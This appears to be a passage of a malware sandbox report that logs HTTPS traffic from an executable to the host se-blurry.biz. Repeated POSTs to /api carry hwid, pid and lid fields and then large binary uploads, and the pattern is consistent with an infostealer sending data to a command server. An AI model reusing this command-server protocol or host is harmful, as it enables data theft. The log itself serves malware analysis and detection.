2024-12-10 06:47:53 UTC	1369	IN	Data Raw: 4f 68 36 46 4e 38 39 42 73 63 57 67 52 77 31 76 38 66 51 43 50 66 49 56 39 34 4f 39 46 42 4e 77 73 32 30 33 49 73 56 66 4d 43 39 72 55 51 48 33 53 41 42 32 31 69 79 46 79 32 6b 31 39 67 65 2b 34 6c 32 30 67 50 37 55 55 50 63 68 4f 76 63 30 6c 4a 6a 6a 4b 57 31 4d 68 66 65 4e 41 2f 4d 46 49 38 5a 4d 37 4c 4a 32 67 54 7a 32 56 62 55 42 2f 52 63 53 64 37 4f 2f 6f 44 43 47 32 6d 4f 37 66 39 78 56 35 52 34 43 39 4e 61 32 46 51 4f 76 38 48 5a 47 50 44 45 47 63 35 42 34 52 52 44 77 49 53 73 30 74 6b 41 5a 49 76 6c 36 6e 77 46 32 7a 41 44 77 52 71 47 48 7a 61 32 79 39 45 41 39 4d 31 59 33 41 37 35 56 45 48 4d 7a 65 61 66 69 31 77 6b 68 2f 32 74 4b 6c 66 74 4e 41 66 36 47 5a 5a 55 49 2f 76 62 6c 51 6e 78 69 77 47 52 44 75 70 5a 54 4d 6a 45 2b 5a 54 41 45 32 57 44 Data Ascii: Oh6FN89BscWgRw1v8fQCPfIV94O9FBNws203IsVfMC9rUQH3SAB21iyFy2k19ge+4l20gP7UUPchOvc0lJjjKW1MhfeNA/MFI8ZM7LJ2gTz2VbUB/RcSd7O/oDCG2mO7f9xV5R4C9Na2FQOv8HZGPDEGc5B4RRDwISs0tkAZIvl6nwF2zADwRqGHza2y9EA9M1Y3A75VEHMzeafi1wkh/2tKlftNAf6GZZUI/vblQnxiwGRDupZTMjE+ZTAE2WD
2024-12-10 06:47:53 UTC	1369	IN	Data Raw: 57 61 59 45 79 4d 47 5a 49 47 4f 72 62 55 31 6b 6e 44 39 58 6e 61 47 66 6c 5a 54 38 44 36 79 6f 66 49 48 47 71 48 38 2f 77 79 57 5a 6f 33 54 4a 4d 6a 77 46 78 38 69 6f 79 56 46 72 32 54 47 65 51 4d 39 6c 70 44 32 74 57 35 73 73 41 45 5a 59 33 75 34 54 41 57 31 79 67 4c 69 31 54 41 45 6e 7a 74 6b 70 74 4f 2b 64 6f 5a 69 56 2b 71 44 78 47 66 6b 36 54 41 31 46 78 39 77 50 4f 74 4b 6b 57 55 65 42 36 4c 51 73 42 54 50 36 66 51 30 77 33 72 79 42 37 76 4d 64 68 66 53 4d 2f 49 39 5a 57 4c 58 43 53 50 70 62 56 4c 56 39 6b 71 48 6f 51 4c 6c 68 6b 73 73 6f 37 64 48 2f 44 48 47 5a 39 50 74 46 42 50 77 4d 48 7a 67 6f 51 41 64 49 76 70 2b 7a 34 54 79 48 68 43 69 77 75 4c 47 79 36 37 78 5a 6f 66 36 38 5a 4a 30 67 72 2f 47 45 7a 64 79 66 6a 53 68 56 4a 78 69 2b 6e 72 66 Data Ascii: WaYEyMGZIGOrbU1knD9XnaGflZT8D6yofIHGqH8/wyWZo3TJMjwFx8ioyVFr2TGeQM9lpD2tW5ssAEZY3u4TAW1ygLi1TAEnztkptO+doZiV+qDxGfk6TA1Fx9wPOtKkWUeB6LQsBTP6fQ0w3ryB7vMdhfSM/I9ZWLXCSPpbVLV9kqHoQLlhksso7dH/DHGZ9PtFBPwMHzgoQAdIvp+z4TyHhCiwuLGy67xZof68ZJ0gr/GEzdyfjShVJxi+nrf
2024-12-10 06:47:53 UTC	1369	IN	Data Raw: 41 67 31 61 52 42 7a 4b 2b 31 4e 4a 4f 77 6f 55 5a 79 55 2b 67 46 48 48 50 79 76 71 56 33 51 4d 70 70 75 62 71 64 42 54 55 4c 78 32 4c 56 4d 41 53 66 4f 32 51 6d 30 37 35 32 68 6d 4a 58 36 6f 50 45 5a 2b 54 70 4d 44 55 58 48 33 41 38 36 30 71 52 4a 52 34 48 6f 74 43 77 46 4d 79 75 4d 50 57 41 50 37 5a 53 39 63 4d 37 6c 63 44 38 76 72 52 6e 38 59 58 61 6f 66 62 30 31 4d 64 79 6a 55 44 7a 43 53 2b 49 79 32 79 30 70 63 6f 2f 74 31 61 6b 55 47 34 54 41 53 55 68 4e 57 59 32 78 39 72 68 36 57 6a 4d 68 4f 61 59 45 7a 75 46 34 30 52 4d 72 4b 41 39 41 54 74 78 6c 62 57 54 37 59 55 53 49 79 63 74 4a 50 42 41 6d 6d 50 34 71 46 31 44 64 31 34 51 6f 73 55 77 45 78 38 74 4d 6a 46 41 2f 4c 4d 46 64 63 42 39 68 52 62 67 74 32 30 68 49 74 4b 4e 38 36 6c 2f 7a 4a 50 6d 6e Data Ascii: Ag1aRBzK+1NJOwoUZyU+gFHHPyvqV3QMppubqdBTULx2LVMASfO2Qm0752hmJX6oPEZ+TpMDUXH3A860qRJR4HotCwFMyuMPWAP7ZS9cM7lcD8vrRn8YXaofb01MdyjUDzCS+Iy2y0pco/t1akUG4TASUhNWY2x9rh6WjMhOaYEzuF40RMrKA9ATtxlbWT7YUSIyctJPBAmmP4qF1Dd14QosUwEx8tMjFA/LMFdcB9hRbgt20hItKN86l/zJPmn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49726	172.67.162.65	443	5740	C:\Users\user\Desktop\SC3sPWT51E.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:47:55 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I8LYVK6944V User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12812 Host: se-blurry.biz
2024-12-10 06:47:55 UTC	12812	OUT	Data Raw: 2d 2d 49 38 4c 59 56 4b 36 39 34 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 39 41 34 45 34 39 46 31 42 37 46 42 43 42 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 49 38 4c 59 56 4b 36 39 34 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 38 4c 59 56 4b 36 39 34 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 49 38 4c 59 56 4b 36 39 34 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --I8LYVK6944VContent-Disposition: form-data; name="hwid"A49A4E49F1B7FBCBD599DAF6C95D6029--I8LYVK6944VContent-Disposition: form-data; name="pid"2--I8LYVK6944VContent-Disposition: form-data; name="lid"H8NgCl----I8LYVK6944VContent-D
2024-12-10 06:47:56 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:47:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uvkurnj30tgu6cebu8agib0ng9; expires=Sat, 05-Apr-2025 00:34:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Uevya8dNTzArUc%2F72D44mx0RqEV0luHe0Aewx4EXW70BTJP65Hwqjx4gaBPRFWuB179tU%2BITs5vTuBMxVwh1OWPXSAaG9%2FZu5bVOBMjtgCM9XFne28vgCBsJh6gLIDJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efb494bcd1b0fa8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1687&min_rtt=1671&rtt_var=659&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2831&recv_bytes=13742&delivery_rate=1620421&cwnd=252&unsent_bytes=0&cid=9d68df6970ddee3c&ts=1237&x=0"
2024-12-10 06:47:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 06:47:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49733	172.67.162.65	443	5740	C:\Users\user\Desktop\SC3sPWT51E.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:47:57 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IK4PY5RBDA895U7W User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15088 Host: se-blurry.biz
2024-12-10 06:47:57 UTC	15088	OUT	Data Raw: 2d 2d 49 4b 34 50 59 35 52 42 44 41 38 39 35 55 37 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 39 41 34 45 34 39 46 31 42 37 46 42 43 42 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 49 4b 34 50 59 35 52 42 44 41 38 39 35 55 37 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 4b 34 50 59 35 52 42 44 41 38 39 35 55 37 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 49 4b 34 50 59 35 52 Data Ascii: --IK4PY5RBDA895U7WContent-Disposition: form-data; name="hwid"A49A4E49F1B7FBCBD599DAF6C95D6029--IK4PY5RBDA895U7WContent-Disposition: form-data; name="pid"2--IK4PY5RBDA895U7WContent-Disposition: form-data; name="lid"H8NgCl----IK4PY5R
2024-12-10 06:47:58 UTC	1010	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:47:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=utbr0vlejn68o8ml3h3jfkfd5u; expires=Sat, 05-Apr-2025 00:34:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gEUQNlXYWkPWskWGJuuKQkxocRhXS2%2BDAC51qygySsnrIzV1QBYxYwtW6pSVATjYdWYRELZOzabfjJxTgS5yZZM9nGDc9QJFLOgrz0CYAU%2BOa0w8gq98gm%2BpgNeg86v0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efb495b7e29f78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1601&min_rtt=1599&rtt_var=605&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2831&recv_bytes=16023&delivery_rate=1800246&cwnd=137&unsent_bytes=0&cid=6670586d10201caa&ts=1152&x=0"
2024-12-10 06:47:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 06:47:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49739	172.67.162.65	443	5740	C:\Users\user\Desktop\SC3sPWT51E.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:48:00 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=COETMP7994 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19910 Host: se-blurry.biz
2024-12-10 06:48:00 UTC	15331	OUT	Data Raw: 2d 2d 43 4f 45 54 4d 50 37 39 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 39 41 34 45 34 39 46 31 42 37 46 42 43 42 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 43 4f 45 54 4d 50 37 39 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 43 4f 45 54 4d 50 37 39 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 43 4f 45 54 4d 50 37 39 39 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --COETMP7994Content-Disposition: form-data; name="hwid"A49A4E49F1B7FBCBD599DAF6C95D6029--COETMP7994Content-Disposition: form-data; name="pid"3--COETMP7994Content-Disposition: form-data; name="lid"H8NgCl----COETMP7994Content-Dispo
2024-12-10 06:48:00 UTC	4579	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 f6 Data Ascii: 2+?2+?o?Mp5p_oI
2024-12-10 06:48:01 UTC	1008	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:48:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=011daefta3lh8m2g4t5qmhlg1t; expires=Sat, 05-Apr-2025 00:34:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5VW6%2FK0tEXbPSIQCLHSgSu7f4UAHBN18zdvAbpI6R2jP%2FiORrGpQ22fYcXHnN44KJ4yI3krRfIwB7pGXT1VbXCDw6nXXU1aqpdyKwaSTYzNZoCZqslIvTWSspUj2c4as"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efb496b89210f71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1731&rtt_var=696&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2832&recv_bytes=20861&delivery_rate=1686886&cwnd=250&unsent_bytes=0&cid=a2432c3d94399337&ts=1223&x=0"
2024-12-10 06:48:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 06:48:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49750	172.67.162.65	443	5740	C:\Users\user\Desktop\SC3sPWT51E.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:48:03 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SZHOKONHOBJQHO4QLL7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1234 Host: se-blurry.biz
2024-12-10 06:48:03 UTC	1234	OUT	Data Raw: 2d 2d 53 5a 48 4f 4b 4f 4e 48 4f 42 4a 51 48 4f 34 51 4c 4c 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 39 41 34 45 34 39 46 31 42 37 46 42 43 42 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 53 5a 48 4f 4b 4f 4e 48 4f 42 4a 51 48 4f 34 51 4c 4c 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 5a 48 4f 4b 4f 4e 48 4f 42 4a 51 48 4f 34 51 4c 4c 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a Data Ascii: --SZHOKONHOBJQHO4QLL7Content-Disposition: form-data; name="hwid"A49A4E49F1B7FBCBD599DAF6C95D6029--SZHOKONHOBJQHO4QLL7Content-Disposition: form-data; name="pid"1--SZHOKONHOBJQHO4QLL7Content-Disposition: form-data; name="lid"H8NgCl--
2024-12-10 06:48:04 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:48:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lf35gmbdfd9cj7md3srg1pcck0; expires=Sat, 05-Apr-2025 00:34:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0TmXtPaJzYquAFVlHv2pwjFd%2B5eQs%2BEVxJ8%2BwCeF1NtjdbgUwU%2Bu%2Fn5kEzFTrZZEMa9p2cYiC%2F6j1VbShk%2Br7HNXvqXP5rus3O%2BRQRrxHd3Do2%2FApPIC4MWnXc0g4qXc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efb4981494c4303-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1618&min_rtt=1615&rtt_var=612&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2149&delivery_rate=1779402&cwnd=219&unsent_bytes=0&cid=713c3ef216413b65&ts=735&x=0"
2024-12-10 06:48:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 06:48:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49757	172.67.162.65	443	5740	C:\Users\user\Desktop\SC3sPWT51E.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:48:06 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JGP2WTYKICBP24EK9QM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586863 Host: se-blurry.biz
2024-12-10 06:48:06 UTC	15331	OUT	Data Raw: 2d 2d 4a 47 50 32 57 54 59 4b 49 43 42 50 32 34 45 4b 39 51 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 39 41 34 45 34 39 46 31 42 37 46 42 43 42 44 35 39 39 44 41 46 36 43 39 35 44 36 30 32 39 0d 0a 2d 2d 4a 47 50 32 57 54 59 4b 49 43 42 50 32 34 45 4b 39 51 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 47 50 32 57 54 59 4b 49 43 42 50 32 34 45 4b 39 51 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a Data Ascii: --JGP2WTYKICBP24EK9QMContent-Disposition: form-data; name="hwid"A49A4E49F1B7FBCBD599DAF6C95D6029--JGP2WTYKICBP24EK9QMContent-Disposition: form-data; name="pid"1--JGP2WTYKICBP24EK9QMContent-Disposition: form-data; name="lid"H8NgCl--
2024-12-10 06:48:06 UTC	15331	OUT	Data Raw: 66 3f 6a 60 80 d2 7c 4d 11 23 d0 59 80 79 7b e0 98 a0 3c 73 a8 e5 b7 6f be 29 d5 2c 68 22 65 41 04 09 8b c0 fa 0a bd 1d 51 7e 7e fc c0 52 0d ab 85 eb c0 58 9c 43 6b a6 93 be 28 bf be 29 d2 95 12 ec 88 c0 d8 f7 c0 eb 35 2d ef ee ef ad e6 35 d9 c0 eb 53 3b 98 c3 81 47 c6 94 5c 16 22 e4 f8 81 08 5d bf ce 10 8d f5 4e 60 e6 19 f9 88 a0 38 7b 86 69 2a 31 f0 76 8c c1 99 0e 6b 88 7e 58 b2 97 0f 5c 4e 4a 77 70 c3 81 26 39 8e ad 31 3a 56 24 d3 a1 14 92 55 81 29 22 dc 22 0d aa 1f fb 73 4a 78 dc 17 04 a1 76 49 7a 39 72 a0 98 e1 30 c1 ac e5 49 95 9d 29 cd 78 4a 95 99 8c fa 20 2c cd 28 02 d6 ae 3b d3 45 c5 98 c2 f3 98 79 a3 d4 ed a6 00 17 39 56 bd a3 20 87 b4 26 57 c3 78 90 e1 1d 7c 48 90 4c a2 22 3e 85 77 4b 72 ad 3b 08 d6 13 c9 7f 1e ae 8f 85 7d 7f 41 1b db 31 a1 0a Data Ascii: f?j`\|M#Yy{<so),h"eAQ~~RXCk()5-5S;G\"]N`8{i*1vk~X\NJwp&91:V$U)""sJxvIz9r0I)xJ ,(;Ey9V &Wx\|HL">wKr;}A1
2024-12-10 06:48:06 UTC	15331	OUT	Data Raw: 69 72 18 58 65 8b 3a 6d ae 22 60 af cc 53 10 5f 6d f1 cd 3c 33 d8 6b 1b 42 72 94 35 57 1f 68 1a 73 de 3c 43 15 f0 b0 0c 1a 5c fe c3 a7 d2 54 36 98 2a f4 64 49 fe 37 a6 08 c2 31 83 83 2c d5 09 de 71 8b 56 4a 55 71 bb e8 21 0a c6 99 66 b1 ba 68 12 6a e3 c5 a7 95 ef b2 eb b5 62 37 94 e8 fa 93 f2 0d 77 a7 51 0d 65 e5 db 3a 0b 09 b9 46 1e c4 bd 2a 9f e2 aa f5 44 48 2c af af 26 24 0f 5c 6e 19 56 a2 fb 9f d0 8e b2 ac 15 ae 57 fa d9 ec 2c ba 1a 0e 23 c6 39 f3 88 bb f7 45 6b 9b 1c 0d 0e f2 5d f8 f1 23 74 66 ee 5c 4c c6 7c 89 26 e0 81 a6 a5 bb 96 13 50 a4 d6 57 35 7d 5b 2d 52 c8 df d4 71 87 64 16 d2 bd d9 74 56 10 55 f7 87 dd d7 76 a5 86 90 7d ac d1 54 e7 75 85 b1 46 d4 c4 15 60 f5 90 42 98 23 ac 4a fe 2c 22 9d 71 76 98 93 1f 51 4c b3 a1 64 c3 09 4e 12 b5 4a 63 f4 Data Ascii: irXe:m"`S_m<3kBr5Whs<C\T6dI71,qVJUq!fhjb7wQe:FDH,&$\nVW,#9Ek]#tf\L\|&PW5}[-RqdtVUv}TuF`B#J,"qvQLdNJc
2024-12-10 06:48:06 UTC	15331	OUT	Data Raw: b8 e6 a3 2d 8f f7 43 df cf 1f ce 2a c3 a9 1b d5 92 4c f8 b7 d9 5a af 1e 80 3b a5 09 36 40 45 7a 79 e3 50 38 65 3d ec f0 43 be 14 c6 39 08 65 e6 ee 07 dc 8f f4 59 cc 0a 51 32 ac fe c4 e4 aa 3c 99 6b 54 de 37 d0 f9 d1 b7 e5 92 52 38 53 55 01 eb 33 66 df ba 42 e2 cd 70 db ff ea 58 e5 32 45 22 43 88 0f f7 61 60 91 b1 bc a6 a5 1c 4d 66 7d e6 06 7c a7 ae e3 33 4c 00 36 63 2b 3e cd aa 9d 3d f9 de b5 f8 3a 97 2c b9 c9 69 af bb aa 77 2c ef 62 94 a8 49 a9 8f 9f fb 7c 13 7a 75 cf 6d ca b4 ab 95 14 72 73 fc 03 91 0b e8 73 7f 02 c5 b0 6e c6 4d 0d 84 2a 3d e8 83 67 33 58 dc 0e a5 fb 6b 60 da 49 f1 56 53 65 02 f3 44 03 47 39 8e 72 9c 56 55 44 07 4f 2b a5 ce 05 72 45 e6 53 e1 39 f8 21 ad e6 67 5c ca 5f 55 9f b5 b0 ca a3 5e 06 90 52 8c 14 9a 97 82 75 22 c3 fc e6 7f 17 8a Data Ascii: -CLZ;6@EzyP8e=C9eYQ2<kT7R8SU3fBpX2E"Ca`Mf}\|3L6c+>=:,iw,bI\|zumrssnM=g3Xk`IVSeDG9rVUDO+rES9!g\_U^Ru"
2024-12-10 06:48:06 UTC	15331	OUT	Data Raw: f4 8a 83 24 49 46 cb 35 2d 3c 8a e4 a9 9c 79 b3 ab 6b 27 ac f4 9d 31 cc ee f0 f9 ad cc f8 95 5b c7 6d d2 a2 c4 8e f2 fc 40 98 c2 c8 fc 37 0e e1 64 ab 39 61 1e d7 93 09 aa 02 82 01 3e a3 22 ef 7e d7 98 7a 9b 58 67 a0 6e 73 8e 28 4a 5c d8 fe e0 6d 99 16 5d aa 9d fc c8 08 75 b7 7b 46 f8 15 87 2b 2c 33 fa 9e 98 ca 87 22 0b 43 dc 69 fd e9 d9 8e 20 d2 15 b6 37 5b 5a f9 ca 90 87 1b 07 46 9b 60 5a 96 58 2d c8 f8 6c bf 9c dc 71 86 1b 87 86 0c 25 5e b6 5a de de e1 23 8a 1e b5 b0 ed c6 4d 62 1a 06 22 1d ff f3 57 ff bf 17 2b 2e b0 36 09 33 47 41 ca 15 44 7d c0 2d a4 16 12 54 9e 1b 4e 25 a0 c8 10 bf 63 67 a3 a7 68 4d ad 3c 02 99 f0 3a 2c 40 4e cb ce 73 7d e6 05 b7 b8 bc cf 85 a3 af e2 de 52 be 35 be bc 5f 24 fd df 0d ee f4 97 cf 6b 75 e3 b7 ef 41 3f f8 ed 18 64 57 49 Data Ascii: $IF5-<yk'1[m@7d9a>"~zXgns(J\m]u{F+,3"Ci 7[ZF`ZX-lq%^Z#Mb"W+.63GAD}-TN%cghM<:,@Ns}R5_$kuA?dWI
